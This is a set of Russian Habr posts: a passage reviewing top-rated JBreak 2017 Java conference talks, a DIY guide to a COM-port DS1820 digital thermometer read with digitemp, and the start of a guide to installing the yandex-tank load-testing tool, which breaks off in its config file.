Достаточно много кода должно выполняться по требованиям JVMS: проверки на обнуление, выход за пределы массивов, деление на ноль, проверка типов и т.п. Чтобы код от них не тормозил, JIT изо всех сил пытается доказать, что эти проверки не нужны, и выбросить их. Когда код меняется, эти оптимизации придётся выбросить. Приводится длиннющий список причин деоптимизации.
И завершается доклад подробным описанием API для настройки компилятора, которые связаны с описанной выше проблематикой. Даже если вам (как и мне) интересней копаться в кишочках JVM и экспериментировать, чем реально крутить настройки на проде кровавого ынтерпрайза — эту секцию всё равно стоит прослушать, т.к. там тоже много «мяса» по теме. Ключики просто так не объяснишь, любая попытка объяснить вскрывает дополнительные подробности. В том числе, есть пояснения про то, как это работает в Azul.
Лично я буду использовать этот доклад для того, чтобы быстро вводить новичков в тему. Это хороший (и главное — быстрый) обзор темы про оптимизации и деоптимизации, который не выносит мозг чрезмерным погружением.
8. [CRDT. Разрешай конфликты лучше, чем Cassandra](https://2017.jbreak.ru/talks/crdt-conflict-free-synchronization-in-distributed-systems/)
===========================================================================================================================================
**Спикер**: Андрей Ершов; **оценка**: 4.32 ± 0.20. [Ссылка на презентацию](https://assets.contentful.com/oxjq45e8ilak/3k9nmTWXbyI6C4AOiusgIy/6baa1ec9c8d34a1a477db0edfc9bf347/Andrey_Ershov._Resolve_conflicts_better__than_Cassandra.pdf).
Доклад про ALPS-системы (Available, Low Latency, Partition Tolerant, Scalable). К сожалению, в них неизбежны конкурентные модификации, и приходится понимать, какие изменения — правильные. Большинство систем, например, Cassandra, использует политику LWW (last write wins) — будет показано, почему она не всегда работает. В качестве альтернативы LWW придумали CRDT, которому и посвящена основная часть. В конце — много ссылок для домашней работы, самостоятельного изучения.
Всё это демонстрируется не на голой теории (которую можно и в пейперах почитать), а на примере милой сердцу любого веб-быдлокодера задачки о синхронизации данных в вебморде. Все демки не просто нарисованы на слайдах, а демонстрируются вживую (у Андрея на ноуте запущено 4 приложения).
То есть эту приложуху открывают в двух вкладках браузера, но эти вкладки общаются между собой не напрямую, а через базу данных ([Riak KV](http://basho.com/products/riak-kv/)).
Проблемы типа сетевой сегментации тоже демонстрируются — несмотря на то, что все приложухи запущены на одном и том же компьютере. Для этого используется iptables:
Похоже, нас неотступно будут преследовать ссылки на документы, которые стоит изучить. В данном случае способ организации данных в key-value базе освещается вот этим must have документом:
Но все такие сакральные вещи мгновенно демонстрируются на реальном, понятном примере типа распределённой корзины.
Если совсем кратко, то смысл в следующем: если из двух разных вкладок редактируется одно и то же поле, то может возникнуть конфликт. В предлагаемой системе, в веб-интерфейсе отобразится не просто последнее значение, а прямо так и будет написано: «У тебя тут конфликт, что будем делать?».
Рассматриваются вопросы типа ускорения отклика (асинхронная репликация, оптимистичный UI), решение проблем сети (сетевая сегментация, offline work, чтобы работать в самолёте) и т.п. Короче, есть какие-то конкурентные изменения, и проблема с ними решается с помощью CRDT — conflict-free replicated data types.
Рассказывается, что такое Strong Eventual Consistency и, собственно, CRDT (структуры данных со свойством SEC, решающие проблемы конкурентных изменений и автоматически разрешающие конфликты). Структуры данных там почти любые — счётчики, регистры, флаги, списки, сеты, мапы, графы и так далее — всё это можно описать в виде CRDT.
Рассматривается state based CRDT (при изменении состояния объекта передается всё состояние) и их проблемы. Точнее, одну основную проблему — огромный объем данных. Конкретные реализации — [Akka](https://akka.io/) и [Lasp](https://lasp-lang.readme.io/docs).
Аналогично рассматривается operation-based CRDT, преимущества и недостатки.
Предлагается прочитать книжку [«Reliable and Secure Distributed Programming»](http://www.springer.com/gp/book/9783642152597), обязательно на английском языке, потому что русский перевод — фуфлыжный. После этого переходим к базовому описанию разных видов broadcast: Unreliable, Reliable, FIFO, Global Order. Обсуждается causal broadcast в разных вариантах.
В качестве примера op-based CRDT предлагаются [evenuate](http://eventuate.io/), [swiftcloud](https://github.com/SyncFree/SwiftCloud) и [antidotedb](http://syncfree.github.io/antidote/).
По результатам обсуждения предыдущих видов CRDT, переходим к Delta-CRDT: требования такие же, как у state-based, а размер — как у op-based. Реализуют их Akka и Riak KV.
Все эти виды CRDT иллюстрируются на реальном примере типа GCounter (grow-only counter) и PNCounter (positive-negative counter) = GCounter + GCounter. Со счётчиками возникают проблемы, и, конечно, тут нам понадобятся Riak Counters. Дальше на очереди — LWWRegister, Version Vector, MVRegister, GSet, 2PSet, OR-Set, AWMap. Всё это с подробным описанием.
Что это значит для меня? Имхо, CRDT — будущее распределённых систем. Область распределённых систем бурно развивается, и нужно поддерживать свои знания в ногу со временем, в частности, читать пейперы и ходить на такие вот доклады. Ну и конечно, раз [в Akka запилили delta CRDT](https://doc.akka.io/docs/akka/2.5.9/distributed-data.html?language=java), этот вопрос стоит изучить в первую очередь.
7. [Java-инспекции в IntelliJ IDEA: что может пойти не так?](https://2017.jbreak.ru/talks/java-vs-intellij-how-we-develop-code-inspections-jb/)
===============================================================================================================================================
**Спикер**: Тагир Валеев; **оценка**: 4.33 ± 0.12. [Ссылка на презентацию](https://assets.contentful.com/oxjq45e8ilak/7FmCnarIjecWmG0484OkOo/b4e1f723131fdebe9cd389e4bf08f169/valeev_inspections__1_.pdf).
Для начала надо понимать, что Тагир — это [@lany](https://habrahabr.ru/users/lany/), и он является живым воплощением [хаба Java на Хабре](https://habrahabr.ru/hub/java/).
Если вы читали его статьи, то легко заметить, чем среднестатистический пост Тагира отличается, например, от моего среднестатистического поста. Они нифига не рекламные и очень качественные. Его доклады на конференциях — лучше, чем посты, и их нужно смотреть. На этом можно было бы поставить точку, но будучи графоманом, остановиться не смогу.
А ещё, для проведения этого доклада пришлось пожертвовать Тагиру мой ноутбук. Он лучше всех работал с проектором, или что-то такое. Если присмотритесь к крышке ноута, увидите на нём единственную круглую наклейку «Это Сбертех, детка!» — не самая очевидная наклейка для сотрудника JetBrains!
Ладно, к делу. Доклад — про написание инспекций для Идеи.
Картинка-эпиграф к докладу: такую ошибку нормальная IDE точно помогла бы предотвратить.
В Идее две тысячи инспекций, большинство из которых — поиск и замена.
Приводится пример хотелки пользователя Идеи, чтобы добавили трансформацию из:
```
set.stream().collect(Collectors.toList())
```
в более разумный вид:
```
new ArrayList<>(set)
```
Для тех, кто в танке, Тагир поясняет, почему регулярки — не лучший способ решать эту задачу. Нельзя представлять код в виде набора символов, нужна более абстрактная модель, например, AST. Однако его в нормальной ситуации тоже не хватает. Хватает PSI (Program Structure Interface), который реализован в Идее.
С помощью примерно такого кода можно покрыть сразу целый класс эквивалентных записей:
Дальше Тагир рассказывает про замену, что может пойти не так на этом этапе. Там есть волшебные методы, которые позволяют из строчки сделать фрагмент PSI-дерева и заменить его.
Если писать правильно, то Идея будет автоматически добавлять пропущенные импорты и прочие ништяки (см. вызов `shortenClassReferences`). Кроме импортов, нормализовывать код можно множеством разных способов, например — автоматически удалив ненужные квалификаторы или приведения типов.
Следующий интересный пример — обработка комментариев. В старых инспекциях, после фикса они просто терялись, в новых — за этим стараются специально следить. Где это возможно, комментарии остаются на своём месте, но не всегда так можно сделать. Например, если мы сворачиваем цикл с удалением до `list.removeIf`, и в середине цикла были комментарии, то все они уползут наверх и появятся непосредственно над строчкой с вызовом `list.removeIf`.
Похожие проблемы возникают с тем, что инспекции должны учитывать тот факт, что можно понаставить сколько угодно круглых скобочек в разных местах. Инспекции должны проваливаться внутрь скобочек. Ещё Идея может циклы сворачивать в стримы, и с этим есть дополнительный набор сложностей.
Насколько изначальный и отрефакторенный код семантически эквивалентны? Про это — отдельный большой блок доклада. Вкратце, изменением семантики иногда можно пожертвовать, и некоторые изменяющие семантику инспекции лучше по умолчанию отключить.
Следующие блоки — про дженерики и приведения типов. Как можно догадаться, проблем тут вагон.
И под конец рассматривается самая жесть — некорректный код. В отличие от корректного кода, некорректным может быть любой, и тут в ход идут особо извращённые и навороченные приёмы.
Лично мне этот доклад очень полезен, потому что написание инспекций для Идеи — одна из вещей, которые я в обязательном порядке буду делать. Зачем это нужно маркетологу — сейчас объяснять не буду, про это будет отдельная статья.
6. [Analyzing HotSpot Crashes](https://2017.jbreak.ru/talks/analyzing-hotspot-crashes/)
=======================================================================================
**Спикер**: Volker Simonis; **оценка**: 4.35 ± 0.14. [Ссылка на презентацию](https://downloads.contentful.com/oxjq45e8ilak/5CpLBGccgwgS4sW8aCkSgE/c55888970df480556b49111bcf650ccb/Volker_Simonis_Analyzing_HotSpot_Crashes.pdf).
Фолькер — это товарищ из SAP, систематически рассказывающий всякую жесть о том, как чинить Java, если её вы намерены использовать её так же жестоко, как у него на работе. Обычно там происходят кровь-кишки-расчленёнка, отладка падающих JVM, путешествия по дебрям кода на C++ и ассемблере и так далее.
Этот доклад — не исключение:
Доклад начинается с обзора структуры HotSpot VM
Фолькер как бы намекает, что при починке нам потребуется копаться в этом всём. По сути, это такая фуллстек-задача, где наш «стек» — это кишки JVM. Задача делится на две основные части: понять, в какой части стека случилась ошибка, и затем, используя наши знания об этой части, починить ошибку.
Кстати, это один из немногих докладов Фолькера, где нет настоящего лайвкодинга. Похоже, кода слишком много, чтобы набирать его вручную: он набрал его заранее и упаковал в слайды со скриншотами.
Но надо понимать, что, *по сути*, это всё-таки процесс отладки, цель доклада в том, чтобы понаблюдать за этим процессом, и описывать в посте всё по шагам несколько бессмысленно, поэтому скажу всего пару слов.
Если кому-то интересно, как можно быстро скрашить JVM:
Важно, что Фолькер показывает свои примеры весьма схематично. Зачастую недостаточно просто скопипастить код, нужно немного подумать. Например, настоящий код из этого краша (только что проверил) должен выглядеть как-то так:
```
import sun.misc.Unsafe;
import java.lang.reflect.Field;
public class Main {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Class c = Class.forName("sun.misc.Unsafe", false, Main.class.getClassLoader());
Field theUnsafe = c.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe u = (Unsafe) theUnsafe.get(null);
u.putInt(0x99, 0x42);
}
}
```
Напоровшись на грабли, мы, вслед за Фолькером, яростно штудируем логи падения виртуалки:
Роемся в регистрах и стеке:
Обсуждаем генерирование `hs_err.log` и то, что с ним всё непросто:
Исследуем места падения:
И так далее.
Например, покрашиться можно в интерпретаторе, но при этом не обязательно, что это как-то связано с самим интерпретатором. Возможно, у нас просто поломался хип. Или вот, например, можно таким способом отлаживать Out of Memory (нужно копаться, начиная с флага `-XX:+CrashOnOutOfMemoryError` и соответствующего лога).
Для меня ценность этого доклада в том, что он даёт конкретный набор ручек, за которые можно ухватиться. Как конкретно смотреть дизассемблер, что прописывать в опции VM, как использовать Serviceability Agent, как использовать replay-файлы и так далее. Что ещё более важно, можно посмотреть за ходом мыслей Фолькера и попытаться научиться думать похожим образом.
Конечно, не каждый день у тебя падает JVM, и ещё меньше шансы того, что ты сможешь починить такой баг (элементарно, у тебя может не быть столько времени, чтобы днями напролёт ползать по логам). Обычно такие баги репортят и ждут, пока их починят профессионалы. С другой стороны, зная вещи, о которых говорит Фолькер, можно, не дожидаясь фикса, придумать какой-то хитрый воркэраунд (не на уровне починки самой JVM, а на уровне лёгкого рефакторинга своего кода на Java).
И с третьей стороны, если ты сам роешься в кишках JVM с целью проведения экспериментов, шанс, что ты что-то разломаешь в пыль, резко растёт. К тому же, если ты роешься в ещё не выпущенной джаве, можно наткнуться на такие проблемы, которые прямо сейчас, вынь да положь, решать тебе никто не будет. Как говорится, in open source no one can hear your scream. Это вряд ли можно считать самым распространённым способом использования полученных из данного доклада знаний, но, если честно, вот это для меня — основное.
5. [Kafka льёт, а Spark разгребает!](https://2017.jbreak.ru/talks/handling-with-spark-what-kafka-is-streaming/)
===============================================================================================================
**Спикер**: Алексей Зиновьев; **оценка**: 4.38 ± 0.19. [Ссылка на презентацию](https://assets.contentful.com/oxjq45e8ilak/3efnYJKcoMAYKuKSouSaIi/7b04e860a24be089991ae91e6b6283af/Alexey_Zinoviev_Spark_Kafka.pdf).
Вначале дается вводная про Спарк и его место в современном мире.
В этом докладе будет фокус на Spark Streaming и Kafka. Сейчас есть запрос не столько на батчевую обработку, сколько на риалтайм, и на это нужно реагировать.
Основные поинты доклада:
Забавно, что в докладе присутствует код как на Java, так и на Scala. Алексей честно признается, что он не суперспециалист в Scala, но иногда использовать её приходится.
Те, у кого загорелось одно место от слова «real-time» применительно к бигдате, сразу есть оговорка, что у нас под риалтаймом будет пониматься что-то, способное выдать ответ за приемлемое время.
Алексей рассказывает про состояние бигдаты в прошлом, когда люди просто лопатили большие куски батчами. О том, что во многом всё это было завязано на отчёты, и модным было строить отчёты поверх Кассандры и Монги. Типичные джобы выполнялись от 5 до 50 часов.
В 2017 году люди скорей хотят что-то вычислять на лету в режиме скользящего окна. Приложение не обязательно чересчур высоконагруженное, и приходящие миллиарды ивентов не обязательно отображать, но нужно учесть и как-то их агрегировать. А ещё сейчас лютый хайп вокруг машинного обучения (и в этом плане хочется переобучать модели, гасить эффект от прошлых моделей и т.п. — короче, нужно интегрировать машинное обучение с риалтаймом). Ещё есть идея о data lake, но она не работает :-)
Следующий этап эволюции — Spark. Это хороший кейс, когда надо обработать логи за прошлый год. Но как только логи начинают ротироваться, важность старых логов с каждым днем падает — не лучший вариант. К тому же, всё это надо где-то хранить.
Следующий шаг — использование Кассандры. Там всё в памяти, всё круто быстро работает и т.п. И главное, сделать достаточно несложно — просто льём логи не на диск, а в Кассандру.
Более того, есть коннекторы на cassandra to spark. Но с этим решением есть некоторые проблемы, о которых рассказывается в докладе.
Поэтому мы возвращаемся к старому механизму, отправке сообщений. Publish-subscribe, топики и т.п. Но проблема в том, что JMS не очень хорошо масштабируется в ширину, да и хочется очередь, которая поддерживает всё и сразу — и point to point, и publish-subscribe, и чтобы распределённая была, и чтобы fault tolerance и т.п.
Так мы приходим к Kafka. С Кафкой к нам приезжают два важных преимущества: масштабирование без даунтайма и отсутствие потерь данных при репликации.
Далее Алексей рассказывает терминологию и основы работы Кафки, зачем нужен Zookeeper.
После чего начинается демка с лайвкодингом. Так как кода реально много, он весь был заранее записан на видео, и по ходу доклада просто откручивается на высокой скорости и с подробными комментариями. На демке делается producer, consumer, объясняются группы и в бесконечном цикле генерируются данные.
В Спарке испокон веков есть способы потребления, в том числе из Кафки, так называемые dstreams. Получается микробатчинг, эмуляция стриминга на основе батчинга. Это тут же демонструется на лайвкодерской демке.
После этого мы переходим на второй Спарк и обсуждаем его новое API.
И от этого переходим к концепции бесконечной таблицы. И ко всему этому можно посмотреть веб-интерфейс, длительность всех операций и так далее. Проводится демка «многопоточного задалбывателя Кафки» ©, на выходе печатающего в консоль. В этом месте Алексей окончательно переходит на Скалу.
Но вывод в консоль — это не интересно, а хочется кучу разных других операций: filter, sort, aggregate, join, foreach, explain и т.п. Для этого тоже есть демка.
Дальше мы уходим совсем вглубь и рассматриваем потроха Спарка, смотрим Explain, и так далее:
Глобальная картина всего:
Последняя демка заключается в том, что, в принципе, можно писать из Кафки в Кафку, и таким образом получить граф. После чего демонстрируется финальное демо с реализацией этой мега-задачи.
Уф, кажется, по большинству упомянутых тем пробежал. Конечно, демки и обсуждения я тут даже не затрагивал — а ведь это самая главная часть доклада. Короче, смотрите доклад.
Чем этот доклад полезен для меня? Понятно, что вот прямо сейчас я не рванусь писать бигдату, да и нет у меня никакой «биг» даты. С другой стороны, если такая задача всё же подвернётся — можно будет посмотреть на картину эволюции прошлых лет, описанную Алексеем, и сразу начать с современных решений, а не городить свои заранее устаревшие велосипеды. Ну и переливание из Кафки в Кафку — огонь идея.
4. [Техники векторизации кода в JVM](https://2017.jbreak.ru/talks/vector-programming-in-java-jb/)
=================================================================================================
**Спикер**: Владимир Иванов; **оценка**: 4.47 ± 0.11. [Ссылка на презентацию](https://assets.contentful.com/oxjq45e8ilak/1ZZZNufmfu2YQymoUcceMG/3225f94992a188d953928bb0d5bdf301/Vectors_2017_JPoint.pdf).
Вопрос залу: «Кто знает, что такое векторизация?»
Судя по лесу рук, сидящим в зале этот час покажется вечностью :-) Вкратце, вот о чём будет доклад:
Основная тема доклада — OpenJDK, автовекторизация в нём, интринсики, которые выигрывают от векторизации, и под конец — немного о будущем.
12 лет назад началась новая эра: мир стал всерьёз задумываться о параллелизации. Throughput однопоточных приложений почти не растёт. Можно добавить серверов, ядер, использовать специальные инструкции. Все современные процы умеют SIMD. Рассматривается, как это выглядит на x86: широкие регистры, инструкции над пакованными векторами и т.п.
Обсуждаются техники векторизации: автоматическая, полуавтоматическая или напрямую работать с инструкциями (low-level представлениями).
По набору инструкций есть проблема обратной совместимости. Можно код написать сразу на нескольких разных наборах инструкций (надо автоматически определять, что доступно). Anger Fog на эту тему доказывал, что расходы на это невероятно большие, плюс есть огромный список проблем. JVM в этом смысле в привилегированном положении, так как байткод переносимый, и JVM всё знает о машине, на которой запускается.
В хотспоте есть куча уже готовых SIMD-инструкций, можно делать автоматическую векторизацию, и есть соответствующие интринсики типа копирования массивов. Обсуждается алгоритм `-XX:+UseSuperWord` и что такие оптимизации работают только над счётными циклами.
Показываются опции для проверки этого (`-XX:+PrintCompilation`, `-XX:+TraceLoopOpts`), или можно просто сделать `-XX:+PrintAssembly` и вычитать всё это глазами. Приводится большое количество примеров циклов, и аудитории предлагается сказать — являются ли они оптимизируемыми. Показывается в ассемблере, как выглядят развёрнутые циклы и как их можно случайно поломать. Обсуждается, почему именно такой код генерится и как это связано с выравниванием.
По ходу дела рассматриваются разные способы ускорения типа Fused Operations, всё это в контексте разного нижележащего железа и версии JDK. Ну и AVX-512, увеличивший в 10 раз количество инструкций на x86.
Под конец упоминаются интринсики: `System.arraycopy`, `Arrays.copyOf` и, начиная с Девятки: `Arrays.mismatch`, `ArraysSupport.vectorizedMismatch`.
Подводятся итоги того, в каком состоянии находится экосистема Java относительно использования SIMD в 2017 году. И из этого напрямую делается вывод о необходимости проекта Panama, в котором происходит разработка векторных API. Подробно рассказывается о проекте: о текущем статусе, проблемах, перспективах и связи с другими проектами в OpenJDK.
Для меня этот доклад важен тем, что даёт понимание текущего статуса одного из самых перспективных направлений разработки JVM. Если бы я мог взять и вбухать всё своё свободное и рабочее время в какой-то из проектов OpenJDK, эта тема была бы, пожалуй, на самой вершине (но сразу после Graal & Truffle, которых вышибить с первого места невозможно).
3. [Перформанс: Что В Имени Тебе Моём?](https://2017.jbreak.ru/talks/performance-whats-in-it-for-you/)
======================================================================================================
**Спикер**: Алексей Шипилёв; **оценка**: 4.47 ± 0.06. [Ссылка на презентацию](https://shipilev.net/talks/jpoint-April2017-perf-keynote.pdf).
Так получилось, что в топе у нас есть всего два доклада, которые были одновременно и на JPoint, и на JBreak. И оба эти доклада сделаны Лёшей.
Этот доклад рассматривался вчера, [в предыдущей статье о лучших докладах JPoint 2017](https://habrahabr.ru/company/jugru/blog/346364/#performance-whats-in-it-for-youh). По второму разу его описывать не буду, переходите по ссылке.
2. [Java 9 Модули. Почему не OSGi?](https://2017.jbreak.ru/talks/java-9-modules-why-not-osgi/)
==============================================================================================
**Спикер**: Никита Липский; **оценка**: 4.60 ± 0.06. [Ссылка на презентацию](https://downloads.contentful.com/oxjq45e8ilak/1USdcUmBVe0AOEo8YMyI2a/30b688e60fe404f139a6c813b3dcf0be/Nikita_Lipsky._Java_9_Modules._Why_not_OSGi_.pdf).
Как следует из названия, разговор будет целиком о модулях и об OSGi. Для тех, кто ещё не в курсе (т.е. посмотрел недостаточно докладов JUG.ru Group), Никита Липский — это разработчик совершенно самостоятельной реализации Java [Excelsior JET](https://www.excelsiorjet.com/), пилит её более 17 лет (то есть стоял у истоков Java вообще), является идейным вдохновителем проекта и практикующим компиляторщиком. То есть входит в очень небольшой круг людей, которые не просто смотрят и имплементят результаты чьей-то архитектурной работы, а активно в ней участвует. Это, конечно, не Mark Reinhold (большинство из нас всё-таки используют OpenJDK, а не JET, поэтому его мнение было бы более в кассу), но уже близко к тому.
В Java 9 появились модули, и, очевидно, к нам приехали проблемы. В тот момент, когда Никита делал этот доклад, Девятка всё ещё не была выпущена, поэтому он говорит в будущем времени. Тем не менее, как и с любыми более-менее фундаментальными докладами, прошедший год на актуальности информации почти не сказался.
Вначале даётся вводная о стандартном вопросе обычного разработчика: зачем мне модули, если уже есть Maven и OSGi. Если с Maven всё более-менее понятно (например, клеш версий зависимостей, который мы чиним из года в год), то с OSGi всё мутней.
Нацлидер скажет в этом месте что-то вроде такого:
Тут некоторые люди сразу оказались по обе стороны баррикады: как исследователям OpenJDK, этот аргумент, безусловно, катит. Но как конечным пользователям нам, в общем-то, всё равно — главное, чтобы OpenJDK работало, а как будут мучиться его корные разрабы и исследователи — ССЗБ (сами себе злобные бараны).
Дальше идёт вводная про то, что такое OSGi, как он работает, какие у него есть реализации и почему это могло бы быть хорошо.
Дальше подробно разбираются проблемы OSGi. Всё это иллюстрируется диаграммами, вроде вот этой схемы версионирования:
Мы проходимся по модульности, обновлениям на лету (помним, что нельзя так просто взять и выгрузить класс, classloader memory leaks, вот это всё). Проблемы с версионированием и то, что OSGi никак не помогает избежать нарушения loading constraints (погуглите по слову «LinkageError», чтобы оценить масштаб проблемы). Иначе говоря, чтобы избежать этой проблемы, существует **единственное** решение — не использовать внутри программы библиотеку двух разных версий. Это развенчивает миф о том, что OSGi эту проблему, якобы, решает.
Но самое ужасное в другом. У JVM по стандарту не определён порядок загрузки. Разные JVM (или одна, но с разными настройками), могут загружать их либо лениво (ссылки разрешаются при первом доступе), либо энергично (сразу разрешаются все доступные ссылки). OSGi не работает с энергичной загрузкой! Он работает только по тому чудесному стечению обстоятельств, что в HotSpot по умолчанию сделана ленивая подгрузка. Но по сути, это мина замедленного действия — однажды в OpenJDK порядок загрузки классов изменится, и всё сломается. Это ужас-ужас, особенно учитывая, что такие работы уже ведутся (привет, Graal & Truffle!).
Я тут описываю упрощённо, и если интересны детали (а также если вам кажется, что в этой аргументации есть изъяны) — обязательно читайте доклад. Кстати, Никита присутствует на Хабре [@pjbooms](https://habrahabr.ru/users/pjBooms/) и может быть, если система оповещения Хабра опять не заглючит, увидит ваши комментарии и что-нибудь ответит.
С другой стороны, в Jigsaw изначально думали над разными способами использования, и в этом плане там всё очень хорошо. Обсуждается «мантра Jigsaw»: «reliable configruation + strong encapsulation» и её реализация в текущих реалиях и делается некое заключение:
И потом десять минут вопросов, конечно.
Чем этот доклад оказался полезен лично для меня? **Да всем.** Это один из тех редких докладов, который как бы и про advanced топик на тему работы JVM, и must have при проектировании и реализации почти любого приложения чуть больше хэлловорлда. Если взять самый-самый глобальный вывод для себя: на OSGi смотреть с опаской и самостоятельно не использовать (чем более low level проект, чем больше там хаков — тем сильней становится желание даже не прикасаться), а вот новые модули — наоборот внедрять везде и наработать хорошие практики их использования (даже если сейчас кажется, что «нафиг они нужны» — это иллюзия). На какие темы нарабатывать практики — этот доклад является отличным руководством.
1. [Shenandoah: сборщик мусора, который смог](https://2017.jbreak.ru/talks/shenandoah-the-garbage-collector-that-could/)
========================================================================================================================
**Спикер**: Алексей Шипилёв; **оценка**: 4.62 ± 0.06. [Ссылка на презентацию](https://shipilev.net/talks/jpoint-April2017-shenandoah.pdf).
Так получилось, что в топе у нас есть всего два доклада, которые были одновременно и на JPoint, и на JBreak. Оба эти доклада сделаны Лёшей. «Сборщик мусора, который смог» на обеих конференциях оказался #1 в топе зрительских оценок.
Этот доклад рассматривался вчера, [в предыдущей статье о лучших докладах JPoint 2017](https://habrahabr.ru/company/jugru/blog/346364/#shenandoah-the-garbage-collector-that-could). По второму разу его описывать не буду, переходите по ссылке.
Заключение
==========
В этой статье мы кратко рассмотрели все самые популярные доклады на [JBreak 2017](https://2017.jbreak.ru/). Вполне возможно, по большинству из них будут выпущены отдельные статьи на Хабре с подробными расшифровками.
Крайне рекомендую самостоятельно пробежаться по всем этим докладам и сделать собственные выводы. Каждый из докладов занимает всего около часа.
История JBreak на этом, конечно, не заканчивается. В этом году, 4 марта 2018, на площадке Новосибирского Экспоцентра пройдёт следующий [JBreak 2018](https://2018.jbreak.ru/), на котором будет много новых, интересных и полезных докладов. [Приобрести билеты](https://2018.jbreak.ru/tickets/) можно уже сейчас. | https://habr.com/ru/post/346490/ | null | ru | null |
# Простой цифровой термометр своими руками
Наткнулся недавно в интернете на интересный [материал](http://www.kusto.com.ru/temperature/), идея заинтересовала, но после сборки отказалась корректно работать, погуглив дальше наткнулся на другой вариант, который и представляю.
Простой цифровой термометр с подключением через COM-порт.
Рабочий вариант схемы был найден [здесь](http://www.lax.priv.at/digitemp/).
Для сборки данного девайса понадобятся следующие компоненты:
1) Термодатчик DALLAS DS1820 — самая главная часть всей схемы, датчиков можно прицепить несколько параллельно. По описанию каждый сенсор имеет собственный 64 битный ID, что позволяет использовать одновременно 100 сенсоров на шине, длиной 300 м, проверить не довелось, но два датчика на шине длиной 5 метров успешно работают.
2) Стабилитроны на 3.9V, 6.2V, 5.6V, самой минимальной мощности — они компактнее.
3) Диод Шоттки, использовал 1N5818 в количестве 2шт.
4) Диод 1N4148 — 1шт.
5) Резистор 1,5кОм, 0,25Вт — 1шт.
6) Конденсатор 10мкФ, 16V — 1шт.
7) 9-контактный разъем COM-порта, тип — мама.
8) Корпус для разъема.
9) Паяльник, припой, и прямые руки =)
Компоненты необходимо собрать по следующей схеме:
Для людей не подкованных в электронике стоит отметить что на всех диодах/стабилитронах полоска на корпусе обозначает катод. Из следующей картинки можно понять как необходимо монтировать детали.
На корпусе конденсатора есть пометка полярности — не ошибетесь, резистор полярности не имеет, паяем как хотим.
Выводы датчика расположены следующим образом:
Монтаж можно вести прямо на разъеме, при некоторой сноровке, достаточно плотный монтаж можно уместить в корпусе разъема, что несомненно удобно и практично.
[](http://img-samara.fotki.yandex.ru/get/3109/xglooom.0/0_a828_1ea4ed2a_orig)
[Посмотреть на Яндекс.Фотках](http://fotki.yandex.ru/users/xglooom/view/43048/)
[](http://img-samara.fotki.yandex.ru/get/3214/xglooom.0/0_a82a_989e8038_orig)
[Посмотреть на Яндекс.Фотках](http://fotki.yandex.ru/users/xglooom/view/43050/)
Подключать несколько датчиков нужно параллельно, в итоге получается примерно вот такая штуковина
[](http://img-samara.fotki.yandex.ru/get/3211/xglooom.0/0_a827_e8bb0dc0_orig)
[Посмотреть на Яндекс.Фотках](http://fotki.yandex.ru/users/xglooom/view/43047/)
Датчик на конце можно залить эпоксидкой и ему не будут страшны условия за окном.
Термометр готов, и что особенно приятно, все работает без какой либо калибровки сенсоров.
Для считывания показаний термометра потребуется программа digitemp, она есть в репозитариях популярных дистрибутивов Linux, установить сложности не составит. Также у нее есть официальный [сайт](http://www.digitemp.com/).
Для пользователей Gentoo стоит отметить что для данной схемы необходимо собрать пакет с опцией `USE="ds9097" emerge digitemp`
Далее запускаем инициализацию программы командой `digitemp_DS9097 -i -s /dev/ttyS0`
На выводе видим следующее:
`DigiTemp v3.5.0 Copyright 1996-2007 by Brian C. Lane
GNU Public License v2.0 - www.digitemp.com
Turning off all DS2409 Couplers
..
Searching the 1-Wire LAN
10E89CA3000800B2 : DS1820/DS18S20/DS1920 Temperature Sensor
10C162A300080096 : DS1820/DS18S20/DS1920 Temperature Sensor
ROM #0 : 10E89CA3000800B2
ROM #1 : 10C162A300080096
Wrote .digitemprc`
Программа нашла два датчика, значит устройство работает верно.
Теперь можно считать информацию со всех датчиков командой `digitemp_DS9097 -a -s /dev/ttyS0`
Получаем следующие данные:
`DigiTemp v3.5.0 Copyright 1996-2007 by Brian C. Lane
GNU Public License v2.0 - www.digitemp.com
Mar 28 18:29:00 Sensor 0 C: 6.38 F: 43.47
Mar 28 18:29:01 Sensor 1 C: 26.50 F: 79.70`
Для удобства интеграции в систему мониторинга можно использовать следующий вариант:
`/usr/bin/digitemp_DS9097 -c /root/.digitemprc -t 0 -s /dev/ttyS0 -q -o "%.2C"`
Считывает показания нулевого сенсора и без лишней мишуры выводит сухие цифры, для считывания других датчиков можно менять параметр -t.
Устройство было подключено к серверу, где уже давно его ждала система мониторинга cacti, теперь можно наблюдать такие интересные графики:
Видно когда в комнате было открыто окно и как медленно под вечер опускается температура на улице. =)
Устройство делалось исключительно ради интереса, но оно может принести и практическую пользу, у меня в комнате появился термометр и теперь одеваясь с утра на работу не нужно идти на кухню для того, чтобы посмотреть сколько градусов за окном.
В планах написать апплет для панельки gnome, который будет брать информацию с сервера и выводить на панель текущую температуру. | https://habr.com/ru/post/55780/ | null | ru | null |
# Тест производительности проектов
Часто у нас стоит задача протестировать какую нагрузку выдерживает сайт [наших клиентов](http://centos-admin.ru/clients). Для себя, в качестве инструмента тестирования, мы выбрали yandex-tank. Это будет краткая заметка о том как быстро начать работать с этим инструментом.
И так, по порядку. Ставили мы yandex tank на CentOS 7. Сразу скажу на 6-ом он не запустился, а вот на 7 запустился на ура. Чтобы его поставить:
```
yum install libxml2-devel libxslt1-devel python-devel zlib1g-devel python-pip
pip install --upgrade pip
yum groupinstall 'Development Tools'
pip install yandextank
```
После выполнения этих несложных действий мы получили рабочее ядро танка. Но нам надо еще поставить генератор запросов. В качестве генератора мы выбрали phantom, также можно использовать jmetr и другие. Для установки phantoma достаточно выполнить следующее:
```
yum install perl openssl-devel binutils-devel make git -y
git clone https://github.com/mamchits/phantom.git
cd phantom
make -R all
mv ./bin/phantom /usr/bin/
mv ./lib/phantom/ /usr/lib/
```
Уже почти все готово к использованию, осталось только подготовить файл с конфигурацией теста, у нас он выглядит примерно так:
```
[loadosophia]
token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
project=centos-admin
test_title=centos-admin.ru
[aggregator]
